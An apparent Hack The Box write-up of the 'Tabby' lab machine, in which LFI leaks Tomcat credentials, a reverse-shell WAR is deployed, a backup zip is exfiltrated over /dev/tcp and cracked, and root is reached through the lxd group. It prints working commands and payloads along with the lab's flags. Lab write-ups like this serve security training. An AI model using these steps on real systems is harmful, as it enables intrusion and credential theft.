Skip to content

Tabby — HTB Writeup

  • IP: 10.129.22.189
  • OS: Linux (Ubuntu/Debian)
  • Difficulty: Easy

1. Enumeration

Full TCP port scan

nmap -p- --min-rate 3000 -Pn -oA nmap/tabbyNmapOpenPorts $IP
Flags/Notes: - -p- — all 65,535 TCP ports. - --min-rate 3000 — ≥3000 pkts/sec for speed. - -Pn — skip ICMP host discovery (HTB drops ping). - -oA — save .nmap/.gnmap/.xml.

Open ports: 22 (SSH), 80 (HTTP), 8080 (HTTP — Apache Tomcat)

Port 80 — Mega Hosting site

A "MEGA HOSTING" web hosting company site. The page references the hostname megahosting.htb.

Decision: Add vhost to /etc/hosts so name-based routing resolves:

echo "10.129.22.189 megahosting.htb" | sudo tee -a /etc/hosts


2. Foothold path — LFI → Tomcat creds

LFI path traversal in news.php

The "News" link points to:

http://megahosting.htb/news.php?file=statement
The file= parameter is passed straight into fopen() with no sanitization. Viewing the source of news.php itself via the LFI confirms the vulnerable code:

<?php
$file = $_GET['file'];
$fh = fopen("files/$file","r");
while ($line = fgets($fh)) {
  echo($line);
}
fclose($fh);
?>
Why vulnerable: user input concatenated directly into the file path (files/$file), allowing ../ traversal out of the files/ directory.

Proof — read /etc/passwd:

http://megahosting.htb/news.php?file=../../../../etc/passwd
Returned the full passwd file (root, daemon, ... tomcat, mysql, etc.). LFI confirmed.

What success looks like: raw file contents echoed back in the response. /etc/passwd is the canonical confirmation read.

Leak Tomcat credentials

Port 8080 is Apache Tomcat 9. On Debian/Ubuntu the tomcat9 package stores its user config at a non-standard location (NOT $CATALINA_HOME/conf/): - /usr/share/tomcat9/etc/tomcat-users.xml - /etc/tomcat9/tomcat-users.xml

Path confirmed via docs: - https://talk.openmrs.org/t/configuring-apache-tomcat-9/32379 - https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html

Read it through the LFI:

http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml

At the bottom of the file:

<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

Credential: tomcat:$3cureP4s5w0rd123! — roles admin-gui, manager-script.

Verify access on port 8080

  • http://10.129.22.189:8080/ → default Tomcat "It works" page.
  • Logged into the Tomcat virtual host manager (host-manager) with the creds.

Key gotcha: the role is manager-script, NOT manager-gui. The browser-based "Manager App" deploy page will return 403 Forbidden. WAR deployment must go through the text/script API (/manager/text/...), not the GUI.


3. Foothold — Tomcat WAR deploy (RCE as tomcat)

Because the role is manager-script (not manager-gui), the WAR is deployed through the text API, not the browser. Reference exploit: https://medium.com/@cyb0rgs/exploiting-apache-tomcat-manager-script-role-974e4307cd00

Where does /manager/text/deploy come from? (not the LFI!) This is a known, built-in Tomcat Manager API route — the same for every Tomcat 9 — documented in manager-howto.html (the same doc that gave us the tomcat-users.xml path). It is declared, not discovered — unlike the LFI filesystem path (../../etc/...) which is traversed on disk. Decoding the URL: /manager/ = the Manager App, text/ = the scripted interface (vs html/ = browser GUI), deploy = the command, and ?path=/shell = the context path you choose for your app — which is why the trigger step is curl .../shell/ (it must match the path= you set). Confirm the API is live with curl -u '<creds>' http://$IP:8080/manager/text/list.

# build a JSP reverse-shell WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<tun0> LPORT=4444 -f war -o shell.war

# deploy via the text manager API
curl -u 'tomcat:$3cureP4s5w0rd123!' --upload-file shell.war \
  "http://$IP:8080/manager/text/deploy?path=/shell"

# listener, then trigger
nc -lvnp 4444
curl "http://$IP:8080/shell/"
Caught a reverse shell as the tomcat user.


4. Lateral movement — tomcat → ash

Find files owned by ash

We know ash exists from /etc/passwd. Hunt for files they own:

find / -user ash 2>/dev/null
/var/www/html/files
/var/www/html/files/16162020_backup.zip

Exfil the backup zip

No web path to it, so pull it over a raw TCP socket (/dev/tcp):

# attack machine
nc -lvnp 8888 > 16162020_backup.zip

# target
cat /var/www/html/files/16162020_backup.zip > /dev/tcp/10.10.14.175/8888
Why /dev/tcp: bash built-in, no upload tooling needed on target; reliable for binary transfer to a waiting nc.

Crack the zip password

zip2john 16162020_backup.zip > cracked
john --wordlist=/usr/share/wordlists/rockyou.txt cracked
admin@it         (16162020_backup.zip)

Password reuse → su ash

The zip password is reused as ash's system password:

su ash      # password: admin@it
whoami      # ash
cat ~/user.txt
# b732434208e8015102dba7937f074598

User flag: b732434208e8015102dba7937f074598


5. Privilege escalation — lxd group → root

linpeas (and id) confirmed ash is in the lxd group. Membership of lxd is root-equivalent: it lets you spin up a privileged container and mount the host filesystem inside it as root. Reference: https://steflan-security.com/linux-privilege-escalation-exploiting-the-lxc-lxd-groups/

Build the Alpine image (attack machine — target has no internet)

git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sudo ./build-alpine          # produces alpine-v3.xx-x86_64-*.tar.gz
python3 -m http.server 6666  # serve it to the target

Import, mount host /, and read root.txt (on target as ash)

# pull the image from kali, then:
lxc image import ./alpine-v3.24-x86_64-20260627_1535.tar.gz --alias myimage
lxd init                     # accept all defaults (creates storage pool + bridge)
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
Flags/Notes: - lxd init — first run needs a storage pool + network bridge; all defaults are fine. - -c security.privileged=true — container root maps to host root (no UID remap). - disk source=/ ... path=/mnt/root recursive=true — mounts the entire host / into the container at /mnt/root, read/write.

Inside the container we are root, with the host filesystem at /mnt/root:

whoami           # root
cat /mnt/root/root/root.txt
# 80aa1fdd311ffa4ad9ab3f69bc01d645

Root flag: 80aa1fdd311ffa4ad9ab3f69bc01d645

Why it works: the lxd daemon runs as root. Anyone in the lxd group can instruct it to create a privileged container and bind-mount any host path — including / — giving full read/write to the host as root. This is documented LXD behaviour, not a bug, which is why lxd group membership = game over.


Lessons Learned

  • LFI to leak config, not just /etc/passwd. Once LFI is confirmed, pivot to leaking app config files that hold credentials — here the Tomcat users file gave a direct RCE path.
  • find / -user <name> is the fast way to locate a known user's files when you can't read their home directly — surfaced the backup zip.
  • /dev/tcp for exfil when the target lacks scp/curl-upload: cat file > /dev/tcp/IP/PORT into a listening nc.
  • Crack-then-reuse: a cracked archive password is worth trying as the owner's system password (su). Password reuse is the bridge from a loot file to an interactive account.
  • lxd group = root. Any user in lxd can mount the host / inside a privileged container and read/write it as root. Always check id/groups for lxd, docker, disk, adm — these container/device groups are root-equivalent.
  • Build the LXD image offline. Target HTB boxes have no internet, so build-alpine runs on Kali and the tarball is served over python3 -m http.server. The tar: Ignoring unknown extended header keyword warnings during build are harmless.
  • Know the distro's config paths. Debian/Ubuntu tomcat9 splits config to /etc/tomcat9/ and /usr/share/tomcat9/etc/ rather than the upstream conf/ directory. When the obvious path fails, check the OS package layout.
  • Tomcat roles matter for the attack method. manager-gui = browser deploy; manager-script = text API deploy. Same WAR, different delivery — pick the method your role allows or you'll hit a 403.
  • -oA needs the output dir to exist first. nmap fails silently to the file (writes nothing) if the target directory is missing — always mkdir the working dirs before scanning.

Evidence

  • evidence/ — Mega Hosting site, LFI source disclosure, /etc/passwd dump, Tomcat "It works", virtual host manager login.